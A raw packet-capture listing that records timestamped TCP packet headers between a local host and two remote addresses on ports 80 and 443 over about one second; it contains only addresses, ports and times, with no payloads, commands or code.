Nov 18, 2024 05:57:52.665642977 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.665642977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.665678978 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.665700912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.665740967 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.665911913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.665971041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.665983915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.665997028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666016102 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.666034937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.666213036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666260004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666271925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666282892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666305065 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.666328907 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.666579962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666662931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666676044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666687965 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666701078 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666711092 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.666713953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.666735888 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.666745901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.667346001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.667360067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.667371035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.667382956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.667396069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.667397022 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.667419910 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.707998991 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.708010912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.708022118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.708035946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.708045959 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.708070993 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.745258093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.745271921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.745282888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.745295048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.745326996 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.745342970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.745352983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.745381117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.745392084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.785052061 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.785240889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785252094 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785274029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785285950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785295963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785305977 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.785310030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785341978 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.785577059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785600901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785612106 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785628080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.785640001 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.785686970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785686016 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.785698891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.785737038 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.785742998 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.786143064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786154985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786165953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786178112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786189079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786190033 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.786214113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.786277056 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.786289930 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.786613941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786631107 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786643982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786653996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786658049 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.786667109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.786683083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.786698103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.787048101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.787112951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.787123919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.787134886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.787147045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.787167072 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.787194014 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.791409969 CET	443	60453	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.791471958 CET	443	60453	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.791651011 CET	60453	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.791738987 CET	60453	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.791738987 CET	60453	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.791781902 CET	443	60453	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.791811943 CET	443	60453	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.794725895 CET	60458	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.794750929 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.794828892 CET	60458	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.794981003 CET	60458	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.794992924 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.827805996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.827821970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.827831984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.827893972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.827951908 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.865314007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.865325928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.865335941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.865500927 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.905194998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905211926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905224085 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905235052 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905255079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905275106 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905282974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.905287981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905299902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905333996 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.905569077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905580997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905596018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905617952 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.905637980 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.905664921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905675888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905685902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905698061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905709028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.905711889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.905740976 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.906275034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.906286001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.906296968 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.906327009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.906343937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.906349897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.906361103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.906371117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.906383038 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.906394005 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.906394005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.906428099 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.906989098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.907001019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.907021999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.907032967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.907038927 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.907040119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.907051086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.907063961 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.907103062 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.913820982 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.913870096 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.913928032 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.913949966 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.914007902 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.914165020 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.914165020 CET	60454	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.914199114 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.914223909 CET	443	60454	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.916733027 CET	60459	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.916764975 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.916836023 CET	60459	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.916964054 CET	60459	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.916977882 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.947751999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.947763920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.947774887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.947824955 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.947860956 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.970684052 CET	443	60455	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.970942020 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.971169949 CET	60455	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.971215963 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.971229076 CET	443	60455	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.971230030 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.971772909 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.971776962 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.971784115 CET	60455	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:52.971796989 CET	443	60455	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:52.985008001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.985045910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.985057116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.985066891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:52.985096931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:52.985116005 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.024992943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025005102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025022030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025031090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025041103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025074005 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025111914 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025191069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025202036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025212049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025222063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025233030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025233984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025243998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025257111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025260925 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025264978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025275946 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025310040 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025688887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025707960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025718927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025728941 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025755882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025863886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025872946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025882959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025898933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.025907040 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.025928974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.026176929 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026186943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026197910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026209116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026232958 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.026254892 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.026422977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026432037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026441097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026452065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026480913 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.026490927 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.026690006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026700020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026714087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026724100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.026745081 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.026766062 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.067475080 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.067490101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.067506075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.067521095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.067539930 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.067627907 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.098115921 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.098179102 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.098318100 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.098428965 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.098620892 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.098819971 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.098834991 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.098854065 CET	60456	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.098859072 CET	443	60456	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.102016926 CET	60460	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.102061033 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.102124929 CET	60460	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.102320910 CET	60460	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.102338076 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.103199005 CET	443	60455	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.103256941 CET	443	60455	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.103535891 CET	60455	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.103535891 CET	60455	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.103616953 CET	60455	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.103652954 CET	443	60455	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.104700089 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.104722977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.104732990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.104748011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.104772091 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.104792118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.106336117 CET	60461	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.106379986 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.106440067 CET	60461	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.106578112 CET	60461	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.106596947 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.144912004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.144948006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.144969940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.144980907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.144989967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.144999981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145018101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145029068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145037889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145051956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145267963 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.145319939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145335913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145347118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145355940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145376921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145493031 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145507097 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.145512104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145522118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145579100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145590067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145674944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.145674944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.145674944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.145848989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145859003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145868063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.145896912 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.145992041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146002054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146012068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146028996 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.146047115 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.146222115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146230936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146240950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146255016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146265984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146271944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.146292925 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.146537066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146547079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146558046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.146572113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.146594048 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.187350988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.187386036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.187397003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.187407017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.187436104 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.187465906 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.195976973 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.196491003 CET	60457	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.196502924 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.196976900 CET	60457	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.196983099 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.224550962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.224571943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.224585056 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.224616051 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.264480114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264494896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264514923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264528036 CET	80	60438	185.215.113.16	192.168.2.6
